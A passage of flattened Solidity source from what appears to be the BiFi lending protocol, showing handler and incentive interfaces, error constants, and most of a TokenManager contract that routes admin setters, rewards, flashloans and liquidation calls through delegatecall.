ownershipTransfer(address payable newOwner) external returns (bool); function deposit(uint256 unifiedTokenAmount, bool allFlag) external payable returns (bool); function withdraw(uint256 unifiedTokenAmount, bool allFlag) external returns (bool); function borrow(uint256 unifiedTokenAmount, bool allFlag) external returns (bool); function repay(uint256 unifiedTokenAmount, bool allFlag) external payable returns (bool); function executeFlashloan( address receiverAddress, uint256 amount ) external returns (bool); function depositFlashloanFee( uint256 amount ) external returns (bool); function convertUnifiedToUnderlying(uint256 unifiedTokenAmount) external view returns (uint256); function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 rewardHandlerID) external returns (uint256, uint256, uint256); function partialLiquidationUserReward(address payable delinquentBorrower, uint256 liquidationAmountWithReward, address payable liquidator) external returns (uint256); function getTokenHandlerLimit() external view returns (uint256, uint256); function getTokenHandlerBorrowLimit() external view returns (uint256); function getTokenHandlerMarginCallLimit() external view returns (uint256); function setTokenHandlerBorrowLimit(uint256 borrowLimit) external returns (bool); function setTokenHandlerMarginCallLimit(uint256 marginCallLimit) external returns (bool); function getTokenLiquidityAmountWithInterest(address payable userAddr) external view returns (uint256); function getUserAmountWithInterest(address payable userAddr) external view returns (uint256, uint256); function getUserAmount(address payable userAddr) external view returns (uint256, uint256); function getUserMaxBorrowAmount(address payable userAddr) external view returns (uint256); function getUserMaxWithdrawAmount(address payable userAddr) external view returns (uint256); function getUserMaxRepayAmount(address payable userAddr) external view returns (uint256); function checkFirstAction() external returns (bool); function applyInterest(address payable userAddr) external returns (uint256, uint256); function reserveDeposit(uint256 unifiedTokenAmount) external payable returns (bool); function reserveWithdraw(uint256 unifiedTokenAmount) external returns (bool); function withdrawFlashloanFee(uint256 unifiedTokenAmount) external returns (bool); function getDepositTotalAmount() external view returns (uint256); function getBorrowTotalAmount() external view returns (uint256); function getSIRandBIR() external view returns (uint256, uint256); function getERC20Addr() external view returns (address); } // File: contracts/interfaces/IServiceIncentive.sol pragma solidity 0.6.12; /** * @title BiFi's si interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IServiceIncentive { function setCircuitBreakWithOwner(bool emergency) external returns (bool); function setCircuitBreaker(bool emergency) external returns (bool); function updateRewardPerBlockLogic(uint256 _rewardPerBlock) external returns (bool); function updateRewardLane(address payable userAddr) external returns (bool); function getBetaRateBaseTotalAmount() external view returns (uint256); function getBetaRateBaseUserAmount(address payable userAddr) external view returns (uint256); function getMarketRewardInfo() external view returns (uint256, uint256, uint256); function getUserRewardInfo(address payable userAddr) external view returns (uint256, uint256, uint256); function claimRewardAmountUser(address payable userAddr) external returns (uint256); } // File: contracts/Errors.sol pragma solidity 0.6.12; contract Modifier { string internal constant ONLY_OWNER = "O"; string internal constant ONLY_MANAGER = "M"; string internal constant CIRCUIT_BREAKER = "emergency"; } contract ManagerModifier is Modifier { string internal constant ONLY_HANDLER = "H"; string internal constant ONLY_LIQUIDATION_MANAGER = "LM"; string internal constant ONLY_BREAKER = "B"; } contract HandlerDataStorageModifier is Modifier { string internal constant ONLY_BIFI_CONTRACT = "BF"; } contract SIDataStorageModifier is Modifier { string internal constant ONLY_SI_HANDLER = "SI"; } contract HandlerErrors is Modifier { string internal constant USE_VAULE = "use value"; string internal constant USE_ARG = "use arg"; string internal constant EXCEED_LIMIT = "exceed limit"; string internal constant NO_LIQUIDATION = "no liquidation"; string internal constant NO_LIQUIDATION_REWARD = "no enough reward"; string internal constant NO_EFFECTIVE_BALANCE = "not enough balance"; string internal constant TRANSFER = "err transfer"; } contract SIErrors is Modifier { } contract InterestErrors is Modifier { } contract LiquidationManagerErrors is Modifier { string internal constant NO_DELINQUENT = "not delinquent"; } contract ManagerErrors is ManagerModifier { string internal constant REWARD_TRANSFER = "RT"; string internal constant UNSUPPORTED_TOKEN = "UT"; } contract OracleProxyErrors is Modifier { string internal constant ZERO_PRICE = "price zero"; } contract RequestProxyErrors is Modifier { } contract ManagerDataStorageErrors is ManagerModifier { string internal constant NULL_ADDRESS = "err addr null"; } // File: contracts/marketManager/ManagerSlot.sol pragma solidity 0.6.12; /** * @title BiFi's Slot contract * @notice Manager Slot Definitions & Allocations * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ contract ManagerSlot is ManagerErrors { using SafeMath for uint256; address public owner; mapping(address => bool) operators; mapping(address => Breaker) internal breakerTable; bool public emergency = false; IManagerDataStorage internal dataStorageInstance; IOracleProxy internal oracleProxy; /* feat: manager reward token instance*/ IERC20 internal rewardErc20Instance; IObserver public Observer; address public slotSetterAddr; address public handlerManagerAddr; address public flashloanAddr; // BiFi-X address public positionStorageAddr; address public nftAddr; uint256 public tokenHandlerLength; struct FeeRateParams { uint256 unifiedPoint; uint256 minimum; uint256 slope; uint256 discountRate; } struct HandlerFlashloan { uint256 flashFeeRate; uint256 discountBase; uint256 feeTotal; } mapping(uint256 => HandlerFlashloan) public handlerFlashloan; struct UserAssetsInfo { uint256 depositAssetSum; uint256 borrowAssetSum; uint256 marginCallLimitSum; uint256 depositAssetBorrowLimitSum; uint256 depositAsset; uint256 borrowAsset; uint256 price; uint256 callerPrice; uint256 depositAmount; uint256 borrowAmount; uint256 borrowLimit; uint256 marginCallLimit; uint256 callerBorrowLimit; uint256 userBorrowableAsset; uint256 withdrawableAsset; } struct Breaker { bool auth; bool tried; } struct ContractInfo { bool support; address addr; address tokenAddr; uint256 expectedBalance; uint256 afterBalance; IProxy tokenHandler; bytes data; IMarketHandler handlerFunction; IServiceIncentive siFunction; IOracleProxy oracleProxy; IManagerDataStorage managerDataStorage; } modifier onlyOwner { require(msg.sender == owner, ONLY_OWNER); _; } modifier onlyHandler(uint256 handlerID) { _isHandler(handlerID); _; } modifier onlyOperators { address payable sender = msg.sender; require(operators[sender] || sender == owner); _; } function _isHandler(uint256 handlerID) internal view { address msgSender = msg.sender; require((msgSender == dataStorageInstance.getTokenHandlerAddr(handlerID)) || (msgSender == owner), ONLY_HANDLER); } modifier onlyLiquidationManager { _isLiquidationManager(); _; } function _isLiquidationManager() internal view { address msgSender = msg.sender; require((msgSender == dataStorageInstance.getLiquidationManagerAddr()) || (msgSender == owner), ONLY_LIQUIDATION_MANAGER); } modifier circuitBreaker { _isCircuitBreak(); _; } function _isCircuitBreak() internal view { require((!emergency) || (msg.sender == owner), CIRCUIT_BREAKER); } modifier onlyBreaker { _isBreaker(); _; } function _isBreaker() internal view { require(breakerTable[msg.sender].auth, ONLY_BREAKER); } } // File: contracts/marketManager/TokenManager.sol // SPDX-License-Identifier: BSD-3-Clause pragma solidity 0.6.12; /** * @title BiFi's marketManager contract * @notice Implement business logic and manage handlers * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ contract TokenManager is ManagerSlot { /** * @dev Constructor for marketManager * @param managerDataStorageAddr The address of the manager storage contract * @param oracleProxyAddr The address of oracle proxy contract (e.g., price feeds) * @param breaker The address of default circuit breaker * @param erc20Addr The address of reward token (ERC-20) */ constructor (address managerDataStorageAddr, address oracleProxyAddr, address _slotSetterAddr, address _handlerManagerAddr, address _flashloanAddr, address breaker, address erc20Addr) public { owner = msg.sender; dataStorageInstance = IManagerDataStorage(managerDataStorageAddr); oracleProxy = IOracleProxy(oracleProxyAddr); rewardErc20Instance = IERC20(erc20Addr); slotSetterAddr = _slotSetterAddr; handlerManagerAddr = _handlerManagerAddr; flashloanAddr = _flashloanAddr; breakerTable[owner].auth = true; breakerTable[breaker].auth = true; } /** * @dev Transfer ownership * @param _owner the address of the new owner * @return result the setter call in contextSetter contract */ function ownershipTransfer(address payable _owner) onlyOwner public returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .ownershipTransfer.selector, _owner ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setOperator(address payable adminAddr, bool flag) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setOperator.selector, adminAddr, flag ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Set the address of OracleProxy contract * @param oracleProxyAddr The address of OracleProxy contract * @return result the setter call in contextSetter contract */ function setOracleProxy(address oracleProxyAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setOracleProxy.selector, oracleProxyAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Set the address of BiFi reward token contract * @param erc20Addr The address of BiFi reward token contract * @return result the setter call in contextSetter contract */ function setRewardErc20(address erc20Addr) onlyOwner public returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setRewardErc20.selector, erc20Addr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Authorize admin user for circuitBreaker * @param _target The address of the circuitBreaker admin user. * @param _status The boolean status of circuitBreaker (on/off) * @return result the setter call in contextSetter contract */ function setBreakerTable(address _target, bool _status) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setBreakerTable.selector, _target, _status ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Set circuitBreak to freeze/unfreeze all handlers * @param _emergency The boolean status of circuitBreaker (on/off) * @return result the setter call in contextSetter contract */ function setCircuitBreaker(bool _emergency) onlyBreaker external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setCircuitBreaker.selector, _emergency ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setSlotSetterAddr(address _slotSetterAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter.setSlotSetterAddr.selector, _slotSetterAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function sethandlerManagerAddr(address _handlerManagerAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter.sethandlerManagerAddr.selector, _handlerManagerAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setFlashloanAddr(address _flashloanAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter.setFlashloanAddr.selector, _flashloanAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setPositionStorageAddr(address _positionStorageAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter.setPositionStorageAddr.selector, _positionStorageAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setNFTAddr(address _nftAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter.setNFTAddr.selector, _nftAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setFlashloanFee(uint256 handlerID, uint256 flashFeeRate) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setFlashloanFee.selector, handlerID, flashFeeRate ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setDiscountBase(uint256 handlerID, uint256 feeBase) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setDiscountBase.selector, handlerID, feeBase ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Get the circuitBreak status * @return The circuitBreak status */ function getCircuitBreaker() external view returns (bool) { return emergency; } /** * @dev Get information for a handler * @param handlerID Handler ID * @return (success or failure, handler address, handler name) */ function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory) { bool support; address tokenHandlerAddr; string memory tokenName; if (dataStorageInstance.getTokenHandlerSupport(handlerID)) { tokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(handlerID); IProxy TokenHandler = IProxy(tokenHandlerAddr); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getTokenName.selector ) ); tokenName = abi.decode(data, (string)); support = true; } return (support, tokenHandlerAddr, tokenName); } /** * @dev Register a handler * @param handlerID Handler ID and address * @param tokenHandlerAddr The handler address * @return result the setter call in contextSetter contract */ function handlerRegister(uint256 handlerID, address tokenHandlerAddr, uint256 flashFeeRate, uint256 discountBase) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .handlerRegister.selector, handlerID, tokenHandlerAddr, flashFeeRate, discountBase ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Set a liquidation manager contract * @param liquidationManagerAddr The address of liquidiation manager * @return result the setter call in contextSetter contract */ function setLiquidationManager(address liquidationManagerAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setLiquidationManager.selector, liquidationManagerAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Update the (SI) rewards for a user * @param userAddr The address of the user * @param callerID The handler ID * @return true (TODO: validate results) */ function rewardUpdateOfInAction(address payable userAddr, uint256 callerID) external returns (bool) { ContractInfo memory handlerInfo; (handlerInfo.support, handlerInfo.addr) = dataStorageInstance.getTokenHandlerInfo(callerID); if (handlerInfo.support) { IProxy TokenHandler; TokenHandler = IProxy(handlerInfo.addr); TokenHandler.siProxy( abi.encodeWithSelector( IServiceIncentive .updateRewardLane.selector, userAddr ) ); } return true; } /** * @dev Update interest of a user for a handler (internal) * @param userAddr The user address * @param callerID The handler ID * @param allFlag Flag for the full calculation mode (calculting for all handlers) * @return (uint256, uint256, uint256, uint256, uint256, uint256) */ function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256, uint256, uint256, uint256) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .applyInterestHandlers.selector, userAddr, callerID, allFlag ); (bool result, bytes memory returnData) = handlerManagerAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256, uint256, uint256, uint256, uint256, uint256)); } /** * @dev Reward the user (msg.sender) with the reward token after calculating interest. * @return result the interestUpdateReward call in ManagerInterest contract */ function interestUpdateReward() external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .interestUpdateReward.selector ); (result, ) = handlerManagerAddr.delegatecall(callData); assert(result); } /** * @dev (Update operation) update the rewards parameters. * @param userAddr The address of operator * @return result the updateRewardParams call in ManagerInterest contract */ function updateRewardParams(address payable userAddr) onlyOperators external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .updateRewardParams.selector, userAddr ); (result, ) = handlerManagerAddr.delegatecall(callData); assert(result); } /** * @dev Claim all rewards for the user * @param userAddr The user address * @return true (TODO: validate results) */ function rewardClaimAll(address payable userAddr) external returns (uint256) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .rewardClaimAll.selector, userAddr ); (bool result, bytes memory returnData) = handlerManagerAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256)); } /** * @dev Claim handler rewards for the user * @param handlerID The ID of claim reward handler * @param userAddr The user address * @return true (TODO: validate results) */ function claimHandlerReward(uint256 handlerID, address payable userAddr) external returns (uint256) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .claimHandlerReward.selector, handlerID, userAddr ); (bool result, bytes memory returnData) = handlerManagerAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256)); } /** * @dev Transfer reward tokens to owner (for administration) * @param _amount The amount of the reward token * @return result (TODO: validate results) */ function ownerRewardTransfer(uint256 _amount) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .ownerRewardTransfer.selector, _amount ); (result, ) = handlerManagerAddr.delegatecall(callData); assert(result); } /** * @dev Get the token price of the handler * @param handlerID The handler ID * @return The token price of the handler */ function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256) { return _getTokenHandlerPrice(handlerID); } /** * @dev Get the margin call limit of the handler (external) * @param handlerID The handler ID * @return The margin call limit */ function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256) { return _getTokenHandlerMarginCallLimit(handlerID); } /** * @dev Get the margin call limit of the handler (internal) * @param handlerID The handler ID * @return The margin call limit */ function _getTokenHandlerMarginCallLimit(uint256 handlerID) internal view returns (uint256) { IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getTokenHandlerMarginCallLimit.selector ) ); return abi.decode(data, (uint256)); } /** * @dev Get the borrow limit of the handler (external) * @param handlerID The handler ID * @return The borrow limit */ function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256) { return _getTokenHandlerBorrowLimit(handlerID); } /** * @dev Get the borrow limit of the handler (internal) * @param handlerID The handler ID * @return The borrow limit */ function _getTokenHandlerBorrowLimit(uint256 handlerID) internal view returns (uint256) { IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getTokenHandlerBorrowLimit.selector ) ); return abi.decode(data, (uint256)); } /** * @dev Get the handler status of whether the handler is supported or not. * @param handlerID The handler ID * @return Whether the handler is supported or not */ function getTokenHandlerSupport(uint256 handlerID) external view returns (bool) { return dataStorageInstance.getTokenHandlerSupport(handlerID); } /** * @dev Set the length of the handler list * @param _tokenHandlerLength The length of the handler list * @return true (TODO: validate results) */ function setTokenHandlersLength(uint256 _tokenHandlerLength) onlyOwner external returns (bool) { tokenHandlerLength = _tokenHandlerLength; return true; } /** * @dev Get the length of the handler list * @return the length of the handler list */ function getTokenHandlersLength() external view returns (uint256) { return tokenHandlerLength; } /** * @dev Get the handler ID at the index in the handler list * @param index The index of the handler list (array) * @return The handler ID */ function getTokenHandlerID(uint256 index) external view returns (uint256) { return dataStorageInstance.getTokenHandlerID(index); } /** * @dev Get the amount of token that the user can borrow more * @param userAddr The address of user * @param handlerID The handler ID * @return The amount of token that user can borrow more */ function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256) { return _getUserExtraLiquidityAmount(userAddr, handlerID); } /** * @dev Get the deposit and borrow amount of the user with interest added * @param userAddr The address of user * @param handlerID The handler ID * @return The deposit and borrow amount of the user with interest */ /* about user market Information function*/ function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256) { return _getUserIntraHandlerAssetWithInterest(userAddr, handlerID); } /** * @dev Get the depositTotalCredit and borrowTotalCredit * @param userAddr The address of the user * @return depositTotalCredit The amount that users can borrow (i.e. deposit * borrowLimit) * @return borrowTotalCredit The sum of borrow amount for all handlers */ function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256) { return _getUserTotalIntraCreditAsset(userAddr); } /** * @dev Get the borrow and margin call limits of the user for all handlers * @param userAddr The address of the user * @return userTotalBorrowLimitAsset the sum of borrow limit for all handlers * @return userTotalMarginCallLimitAsset the sume of margin call limit for handlers */ function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256) { uint256 userTotalBorrowLimitAsset; uint256 userTotalMarginCallLimitAsset; for (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++) { if (dataStorageInstance.getTokenHandlerSupport(handlerID)) { uint256 depositHandlerAsset; uint256 borrowHandlerAsset; (depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID); uint256 borrowLimit = _getTokenHandlerBorrowLimit(handlerID); uint256 marginCallLimit = _getTokenHandlerMarginCallLimit(handlerID); uint256 userBorrowLimitAsset = depositHandlerAsset.unifiedMul(borrowLimit); uint256 userMarginCallLimitAsset = depositHandlerAsset.unifiedMul(marginCallLimit); userTotalBorrowLimitAsset = userTotalBorrowLimitAsset.add(userBorrowLimitAsset); userTotalMarginCallLimitAsset = userTotalMarginCallLimitAsset.add(userMarginCallLimitAsset); } else { continue; } } return (userTotalBorrowLimitAsset, userTotalMarginCallLimitAsset); } /** * @dev Get the maximum allowed amount to borrow of the user from the given handler * @param userAddr The address of the user * @param callerID The target handler to borrow * @return extraCollateralAmount The maximum allowed amount to borrow from the handler. */ function getUserCollateralizableAmount(address payable userAddr, uint256 callerID) external view returns (uint256) { uint256 userTotalBorrowAsset; uint256 depositAssetBorrowLimitSum; uint256 depositHandlerAsset; uint256 borrowHandlerAsset; for (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++) { if (dataStorageInstance.getTokenHandlerSupport(handlerID)) { (depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID); userTotalBorrowAsset = userTotalBorrowAsset.add(borrowHandlerAsset); depositAssetBorrowLimitSum = depositAssetBorrowLimitSum .add( depositHandlerAsset .unifiedMul( _getTokenHandlerBorrowLimit(handlerID) ) ); } } if (depositAssetBorrowLimitSum > userTotalBorrowAsset) { return depositAssetBorrowLimitSum .sub(userTotalBorrowAsset) .unifiedDiv( _getTokenHandlerBorrowLimit(callerID) ) .unifiedDiv( _getTokenHandlerPrice(callerID) ); } return 0; } /** * @dev Partial liquidation for a user * @param delinquentBorrower The address of the liquidation target * @param liquidateAmount The amount to liquidate * @param liquidator The address of the liquidator (liquidation operator) * @param liquidateHandlerID The hander ID of the liquidating asset * @param rewardHandlerID The handler ID of the reward token for the liquidator * @return (uint256, uint256, uint256) */ function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) onlyLiquidationManager external returns (uint256, uint256, uint256) { address tokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(liquidateHandlerID); IProxy TokenHandler = IProxy(tokenHandlerAddr); bytes memory data; data = abi.encodeWithSelector( IMarketHandler .partialLiquidationUser.selector, delinquentBorrower, liquidateAmount, liquidator, rewardHandlerID ); (, data) = TokenHandler.handlerProxy(data); return abi.decode(data, (uint256, uint256, uint256)); } /** * @dev Get the maximum liquidation reward by checking sufficient reward amount for the liquidator. * @param delinquentBorrower The address of the liquidation target * @param liquidateHandlerID The hander ID of the liquidating asset * @param liquidateAmount The amount to liquidate * @param rewardHandlerID The handler ID of the reward token for the liquidator * @param rewardRatio delinquentBorrowAsset / delinquentDepositAsset * @return The maximum reward token amount for the liquidator */ function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256) { uint256 liquidatePrice = _getTokenHandlerPrice(liquidateHandlerID); uint256 rewardPrice = _getTokenHandlerPrice(rewardHandlerID); uint256 delinquentBorrowerRewardDeposit; (delinquentBorrowerRewardDeposit, ) = _getHandlerAmount(delinquentBorrower, rewardHandlerID); uint256 rewardAsset = delinquentBorrowerRewardDeposit.unifiedMul(rewardPrice).unifiedMul(rewardRatio); if (liquidateAmount.unifiedMul(liquidatePrice) > rewardAsset) { return rewardAsset.unifiedDiv(liquidatePrice); } else { return liquidateAmount; } } /** * @dev Reward the liquidator * @param delinquentBorrower The address of the liquidation target * @param rewardAmount The amount of reward token * @param liquidator The address of the liquidator (liquidation operator) * @param handlerID The handler ID of the reward token for the liquidator * @return The amount of reward token */ function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) onlyLiquidationManager external returns (uint256) { address tokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(handlerID); IProxy TokenHandler = IProxy(tokenHandlerAddr); bytes memory data; data = abi.encodeWithSelector( IMarketHandler .partialLiquidationUserReward.selector, delinquentBorrower, rewardAmount, liquidator ); (, data) = TokenHandler.handlerProxy(data); return abi.decode(data, (uint256)); } /** * @dev Execute flashloan contract with delegatecall * @param handlerID The ID of the token handler to borrow. * @param receiverAddress The address of receive callback contract * @param amount The amount of borrow through flashloan * @param params The encode metadata of user * @return Whether or not succeed */ function flashloan( uint256 handlerID, address receiverAddress, uint256 amount, bytes calldata params ) external returns (bool) { bytes memory callData = abi.encodeWithSelector( IManagerFlashloan .flashloan.selector, handlerID, receiverAddress, amount, params ); (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (bool)); } /** * @dev Call flashloan logic contract with delegatecall * @param handlerID The ID of handler with accumulated flashloan fee * @return The amount of fee accumlated to handler */ function getFeeTotal(uint256 handlerID) external returns (uint256) { bytes memory callData = abi.encodeWithSelector( IManagerFlashloan .getFeeTotal.selector, handlerID ); (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256)); } /** * @dev Withdraw accumulated flashloan fee with delegatecall * @param handlerID The ID of handler with accumulated flashloan fee * @return Whether or not succeed */ function withdrawFlashloanFee( uint256 handlerID ) external onlyOwner returns (bool) { bytes memory callData = abi.encodeWithSelector( IManagerFlashloan .withdrawFlashloanFee.selector, handlerID ); (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (bool)); } /** * @dev Get flashloan fee for flashloan amount before make product(BiFi-X) * @param handlerID The ID of handler with accumulated flashloan fee * @param amount The amount of flashloan amount * @param bifiAmount The amount of Bifi amount * @return The amount of fee for flashloan amount */ function getFeeFromArguments( uint256 handlerID, uint256 amount, uint256 bifiAmount ) external returns (uint256) { bytes memory callData = abi.encodeWithSelector( IManagerFlashloan .getFeeFromArguments.selector, handlerID, amount, bifiAmount ); (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256)); } /** * @dev Get the deposit and borrow amount of the user for the handler (internal) * @param userAddr The address of user * @param handlerID The handler ID * @return The deposit and borrow amount */ function _getHandlerAmount(address payable userAddr, uint256 handlerID) internal view returns (uint256, uint256) { IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getUserAmount.selector, userAddr ) ); return abi.decode(data, (uint256, uint256)); } /** * @dev Get the deposit and borrow amount with interest of the user for the handler (internal) * @param userAddr The address of user * @param handlerID The handler ID * @return The deposit and borrow amount with interest */ function _getHandlerAmountWithAmount(address payable userAddr, uint256 handlerID) internal view returns (uint256, uint256) { IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getUserAmountWithInterest.selector, userAddr ) ); return abi.decode(data, (uint256, uint256)); } /** * @dev Set the support stauts for the handler * @param handlerID the handler ID * @param support the support status (boolean) * @return result the setter call in contextSetter contract */ function setHandlerSupport(uint256 handlerID, bool support) onlyOwner public returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setHandlerSupport.selector, handlerID, support ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Get owner's address of the manager contract * @return The address of owner */ function getOwner() public view returns (address) { return owner; } /** * @dev Get the deposit and borrow amount of the user with interest added * @param userAddr The address of user * @param handlerID The handler ID * @return The deposit and borrow amount of the user with interest */ function _getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) internal view returns (uint256, uint256) { uint256 price = _getTokenHandlerPrice(handlerID); IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); uint256 depositAmount; uint256 borrowAmount; bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler.getUserAmountWithInterest.selector, userAddr ) ); (depositAmount, borrowAmount) = abi.decode(data, (uint256, uint256)); uint256 depositAsset = depositAmount.unifiedMul(price); uint256 borrowAsset = borrowAmount.unifiedMul(price); return (depositAsset, borrowAsset); } /** * @dev Get the depositTotalCredit and borrowTotalCredit * @param userAddr The address of the user * @return depositTotalCredit The amount that users can borrow (i.e. deposit * borrowLimit) * @return borrowTotalCredit The sum of borrow amount for all handlers */ function _getUserTotalIntraCreditAsset(address payable userAddr) internal view returns (uint256, uint256) { uint256 depositTotalCredit; uint256 borrowTotalCredit; for (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++) { if (dataStorageInstance.getTokenHandlerSupport(handlerID)) { uint256 depositHandlerAsset; uint256 borrowHandlerAsset; (depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID); uint256 borrowLimit = _getTokenHandlerBorrowLimit(handlerID); uint256 depositHandlerCredit = depositHandlerAsset.unifiedMul(borrowLimit); depositTotalCredit = depositTotalCredit.add(depositHandlerCredit); borrowTotalCredit = borrowTotalCredit.add(borrowHandlerAsset); } else { continue; } } return (depositTotalCredit, borrowTotalCredit); } /** * @dev Get the amount of token that the user can borrow more * @param userAddr The address of user * @param handlerID The handler ID * @return The amount of token that user can borrow more */ function _getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) internal view returns (uint256) { uint256 depositCredit; uint256 borrowCredit; (depositCredit, borrowCredit) = _getUserTotalIntraCreditAsset(userAddr); if (depositCredit == 0) { return 0; } if (depositCredit > borrowCredit) { return depositCredit.sub(borrowCredit).unifiedDiv(_getTokenHandlerPrice(handlerID)); } else { return 0; } } function getFeePercent(uint256 handlerID) external view returns (uint256) { return handlerFlashloan[handlerID].flashFeeRate; } /** * @dev Get the token price for the handler * @param handlerID The handler id * @return The token price of the handler */ function _getTokenHandlerPrice(uint256 handlerID) internal view returns (uint256) { return (oracleProxy.getTokenPrice(handlerID)); } /** * @dev Get the address of reward token * @return The address of reward token */ function getRewardErc20() public view returns (address) { return address(rewardErc20Instance); } /** * @dev Get the reward parameters * @return (uint256,uint256,uint256) rewardPerBlock, rewardDecrement, rewardTotalAmount */ function getGlobalRewardInfo() external view returns (uint256, uint256, uint256) { IManagerDataStorage _dataStorage = dataStorageInstance; return (_dataStorage.getGlobalRewardPerBlock(), _dataStorage.getGlobalRewardDecrement(), _dataStorage.getGlobalRewardTotalAmount()); } function setObserverAddr(address observerAddr) onlyOwner 